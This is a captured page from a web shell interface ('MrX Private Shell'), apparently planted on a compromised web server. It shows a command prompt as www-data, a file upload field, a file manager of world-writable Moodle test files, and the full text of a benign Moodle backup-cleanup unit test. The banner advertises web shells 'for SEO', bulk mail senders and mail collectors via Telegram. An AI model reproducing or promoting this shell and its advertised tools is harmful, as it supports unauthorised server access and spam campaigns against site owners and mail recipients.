__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_backup;

defined('MOODLE_INTERNAL') || die();

global $CFG;
require_once($CFG->dirroot . '/backup/util/includes/backup_includes.php');

/**
 * Tests for the \core\task\backup_cleanup_task scheduled task.
 *
 * @package    core_backup
 * @copyright  2021 Mikhail Golenkov <mikhailgolenkov@catalyst-au.net>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class backup_cleanup_task_test extends \advanced_testcase {

    /**
     * Set up tasks for all tests.
     */
    protected function setUp(): void {
        parent::setUp();
        $this->resetAfterTest(true);
    }

    /**
     * Take a backup of the course provided and return backup id.
     *
     * @param int $courseid Course id to be backed up.
     * @return string Backup id.
     */
    private function backup_course(int $courseid): string {
        // Backup the course.
        $user = get_admin();
        $controller = new \backup_controller(
            \backup::TYPE_1COURSE,
            $courseid,
            \backup::FORMAT_MOODLE,
            \backup::INTERACTIVE_NO,
            \backup::MODE_AUTOMATED,
            $user->id
        );
        $controller->execute_plan();
        $controller->destroy(); // Unset all structures, close files...
        return $controller->get_backupid();
    }

    /**
     * Test the task idle run. Nothing should explode.
     */
    public function test_backup_cleanup_task_idle(): void {
        $task = new \core\task\backup_cleanup_task();
        $task->execute();
    }

    /**
     * Test the task exits when backup | loglifetime setting is not set.
     */
    public function test_backup_cleanup_task_exits(): void {
        set_config('loglifetime', 0, 'backup');
        $task = new \core\task\backup_cleanup_task();
        ob_start();
        $task->execute();
        $output = ob_get_contents();
        ob_end_clean();
        $this->assertStringContainsString('config is not set', $output);
    }

    /**
     * Test the task deletes records from DB.
     */
    public function test_backup_cleanup_task_deletes_records(): void {
        global $DB;

        // Create a course.
        $generator = $this->getDataGenerator();
        $course = $generator->create_course();

        // Take two backups of the course.
        $backupid1 = $this->backup_course($course->id);
        $backupid2 = $this->backup_course($course->id);

        // Emulate the first backup to be done 31 days ago.
        $bcrecord = $DB->get_record('backup_controllers', ['backupid' => $backupid1]);
        $bcrecord->timecreated -= DAYSECS * 31;
        $DB->update_record('backup_controllers', $bcrecord);

        // Run the task.
        $task = new \core\task\backup_cleanup_task();
        $task->execute();

        // There should be no records related to the first backup.
        $this->assertEquals(0, $DB->count_records('backup_controllers', ['backupid' => $backupid1]));
        $this->assertEquals(0, $DB->count_records('backup_logs', ['backupid' => $backupid1]));

        // Records related to the second backup should remain.
        $this->assertGreaterThan(0, $DB->count_records('backup_controllers', ['backupid' => $backupid2]));
        $this->assertGreaterThanOrEqual(0, $DB->count_records('backup_logs', ['backupid' => $backupid2]));
    }

    /**
     * Test the task deletes files from file system.
     */
    public function test_backup_cleanup_task_deletes_files(): void {
        global $CFG;

        // Create a course.
        $generator = $this->getDataGenerator();
        $course = $generator->create_course();

        // Take two backups of the course and get their logs.
        $backupid1 = $this->backup_course($course->id);
        $backupid2 = $this->backup_course($course->id);
        $filepath1 = $CFG->backuptempdir . '/' . $backupid1 . '.log';
        $filepath2 = $CFG->backuptempdir . '/' . $backupid2 . '.log';

        // Create a subdirectory.
        $subdir = $CFG->backuptempdir . '/subdir';
        make_writable_directory($subdir);

        // Both logs and the dir should exist.
        $this->assertTrue(file_exists($filepath1));
        $this->assertTrue(file_exists($filepath2));
        $this->assertTrue(file_exists($subdir));

        // Change modification time of the first log and the sub dir to be 8 days ago.
        touch($filepath1, time() - 8 * DAYSECS);
        touch($subdir, time() - 8 * DAYSECS);

        // Run the task.
        $task = new \core\task\backup_cleanup_task();
        $task->execute();

        // Files and directories older than a week are supposed to be removed.
        $this->assertFalse(file_exists($filepath1));
        $this->assertFalse(file_exists($subdir));
        $this->assertTrue(file_exists($filepath2));
    }
}

Filemanager

Name Type Size Permission Actions
privacy Folder 0777
async_backup_test.php File 11.29 KB 0777
async_restore_test.php File 10.87 KB 0777
automated_backup_test.php File 14.7 KB 0777
backup_cleanup_task_test.php File 5.35 KB 0777
backup_restore_base_testcase.php File 4.02 KB 0777
backup_restore_group_test.php File 4.27 KB 0777
backup_restore_permission_test.php File 5.63 KB 0777
externallib_test.php File 6.92 KB 0777
quiz_restore_decode_links_test.php File 4.64 KB 0777
roles_backup_restore_test.php File 6.9 KB 0777
Filemanager